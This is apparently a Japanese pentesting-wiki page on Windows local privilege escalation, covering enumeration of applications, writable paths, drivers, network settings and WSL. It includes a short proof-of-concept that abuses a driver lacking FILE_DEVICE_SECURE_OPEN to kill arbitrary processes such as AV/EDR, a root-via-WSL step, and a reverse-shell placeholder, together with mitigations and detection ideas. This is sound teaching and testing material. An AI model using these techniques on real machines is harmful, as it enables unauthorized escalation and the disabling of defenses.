アプリケーション・DLL・ネットワークの調査
インストール済みアプリケーション、DLL の読み込み先、ネットワーク設定を確認します。実行ファイルや設定ファイルへの書き込み権限が、どの操作につながるかを見ていきます。
アプリケーション
Section titled “アプリケーション”インストール済みアプリケーション
Section titled “インストール済みアプリケーション”インストール済みアプリケーションの実行ファイルと、そのフォルダーの権限を確認します。書き換えられる場所は、DLL Hijacking の調査にも関係します。
dir /a "C:\Program Files"dir /a "C:\Program Files (x86)"reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTimeGet-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name書き込み権限
Section titled “書き込み権限”管理者権限で実行されるプログラムの設定や実行ファイルを書き換えられるかを調べます。次の例では、ファイルとフォルダーの権限を列挙します。
accesschk.exe /accepteula# ドライブごとの弱いフォルダ権限を検索accesschk.exe -uwdqs Users c:\accesschk.exe -uwdqs "Authenticated Users" c:\accesschk.exe -uwdqs "Everyone" c:\# ドライブごとの弱いファイル権限を検索accesschk.exe -uwqs Users c:\*.*accesschk.exe -uwqs "Authenticated Users" c:\*.*accesschk.exe -uwdqs "Everyone" c:\*.*icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}起動時に実行される項目
Section titled “起動時に実行される項目”別のユーザーの権限で起動される項目を調べ、実行ファイルや設定を書き換えられるか確認します。対象になりやすい場所は Autorun Binaries の解説 を参照してください。
サードパーティ製の不審/脆弱なドライバを探します。
driverquerydriverquery.exe /fo tabledriverquery /SIドライバが任意のカーネル読み取り/書き込みプリミティブ(poorly designed IOCTL handler でよくある)を公開している場合、カーネルメモリから SYSTEM トークンを直接盗むことで特権昇格できます。手順はこちら:
Arbitrary Kernel R/W Token Theft
脆弱な呼び出しが攻撃者制御の Object Manager パスを開くレース条件(race-condition)バグでは、ルックアップを意図的に遅くする(最大長コンポーネントや深いディレクトリ チェーンを使用)ことで、ウィンドウをマイクロ秒から数十マイクロ秒に引き延ばせます:
Kernel Race Condition Object Manager Slowdown
レジストリハイブのメモリ破損
Section titled “レジストリハイブのメモリ破損”近年のハイブ脆弱性では、決定的なレイアウト調整(grooming)や書き込み可能な HKLM/HKU 派生の悪用、メタデータ破損からカーネル paged-pool overflow への変換が、カスタム ドライバ無しで可能になります。全体の連鎖はこちら:
Windows Registry Hive Exploitation
FILE_DEVICE_SECURE_OPEN がないデバイスの悪用
Section titled “FILE_DEVICE_SECURE_OPEN がないデバイスの悪用”一部の署名付きサードパーティ ドライバは IoCreateDeviceSecure で強い SDDL を設定した device object を作成しますが、DeviceCharacteristics に FILE_DEVICE_SECURE_OPEN を設定し忘れることがあります。このフラグが無いと、余分なコンポーネントを含むパス経由でデバイスを開く際に secure DACL が適用されず、権限のないユーザーでも次のような名前空間パスでハンドルを取得できます:
- \.\DeviceName\anything
- \.\amsdk\anyfile(実例)
ユーザーがデバイスを開けるようになると、ドライバが公開する特権 IOCTL を LPE と改ざん(tampering)に悪用できます。実際に観測された例:
- 任意プロセスに対するフルアクセス ハンドルを返す(token theft / DuplicateTokenEx/CreateProcessAsUser による SYSTEM shell)。
- 生ディスクの読み書き無制限(オフライン改ざん、ブート時の永続化テクニック)。
- Protected Process/Light(PP/PPL)を含む任意プロセスの終了(カーネル経由で user land から AV/EDR kill)。
最小 PoC パターン(user mode):
// Example based on a vulnerable antimalware driver#define IOCTL_REGISTER_PROCESS 0x80002010#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);DWORD me = GetCurrentProcessId();DWORD target = /* PID to kill or open */;DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);開発者向けの緩和策(Mitigations for developers)
- DACL で制限するデバイス オブジェクト作成時は FILE_DEVICE_SECURE_OPEN を必ず設定。
- 特権操作の前に呼び出し元コンテキストを検証。プロセス終了やハンドル返却前に PP/PPL をチェック。
- IOCTL を制約(アクセスマスク、METHOD_*、入力検証)し、直接カーネル権限ではなくブローカー型モデルも検討。
防御側の検出アイデア(Detection ideas for defenders)
- 不審なデバイス名(例: \.\amsdk*)の user-mode オープンや、悪用を示す特定 IOCTL シーケンスを監視。
- Microsoft の脆弱ドライバ ブロックリスト(HVCI/WDAC/Smart App Control)を適用し、独自の allow/deny リストも維持。
PATH と DLL の探索順序
Section titled “PATH と DLL の探索順序”PATH 上のフォルダに書き込み権限がある場合、プロセスが読み込む DLL をハイジャックして特権昇格できる可能性があります。
PATH 内の全フォルダの権限を確認:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )このチェックの悪用方法については:
Writable Sys Path DLL Hijacking Privesc
ネットワーク
Section titled “ネットワーク”net view # コンピュータ一覧を取得net view /all /domain [domainname] # ドメイン内の共有net view \\computer /ALL # コンピュータの共有を列挙net use x: \\computer\share # 共有をローカルにマウントnet share # 現在の共有を確認hosts ファイル
Section titled “hosts ファイル”hosts ファイルにハードコードされた既知のコンピュータがないか確認します。
type C:\Windows\System32\drivers\etc\hostsネットワークインターフェースと DNS
Section titled “ネットワークインターフェースと DNS”ipconfig /allGet-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4AddressGet-DnsClientServerAddress -AddressFamily IPv4 | ft開いているポート
Section titled “開いているポート”外部から制限されたサービスを確認します。
netstat -ano # 開いているポートルーティングテーブル
Section titled “ルーティングテーブル”route printGet-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndexARP テーブル
Section titled “ARP テーブル”arp -AGet-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,Lファイアウォールのルール
Section titled “ファイアウォールのルール”Firewall 関連コマンドはこちら (ルール一覧、ルール作成、無効化など)
ネットワーク列挙(network enumeration)用のコマンドはこちら。
Windows Subsystem for Linux(WSL)
Section titled “Windows Subsystem for Linux(WSL)”C:\Windows\System32\bash.exeC:\Windows\System32\wsl.exebash.exe のバイナリは C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe にもあります。
root ユーザーが取得できれば任意のポートで待受け可能です(nc.exe で初めてポート待受けをする際、GUI で nc をファイアウォールに許可するか確認されます)。
wsl whoami./ubuntun1604.exe config --default-user rootwsl whoamiwsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'root で bash を起動しやすくするには --default-user root を試してください。
WSL のファイルシステムは C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ にあります。

